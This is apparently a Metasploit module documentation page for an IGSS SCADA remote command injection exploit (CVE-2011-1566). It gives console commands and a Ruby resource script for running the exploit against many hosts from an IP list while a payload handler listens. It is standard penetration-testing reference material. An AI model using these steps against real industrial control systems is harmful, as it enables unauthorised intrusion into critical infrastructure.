Module Overview

Name: Interactive Graphical SCADA System Remote Command Injection
Module: exploit/windows/scada/igss_exec_17
Source code: modules/exploits/windows/scada/igss_exec_17.rb
Disclosure date: 2011-03-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 12397
List of CVEs: CVE-2011-1566

This module abuses a directory traversal flaw in Interactive Graphical SCADA System v9.00. In conjunction with the traversal flaw, if opcode 0x17 is sent to the dc.exe process, an attacker may be able to execute arbitrary system commands.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using igss_exec_17 against a single host

Normally, you can use exploit/windows/scada/igss_exec_17 this way:

msf > use exploit/windows/scada/igss_exec_17
msf exploit(igss_exec_17) > show targets
    ... a list of targets ...
msf exploit(igss_exec_17) > set TARGET target-id
msf exploit(igss_exec_17) > show options
    ... show and set options ...
msf exploit(igss_exec_17) > exploit

Using igss_exec_17 against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your igss_exec_17 will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/scada/igss_exec_17")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
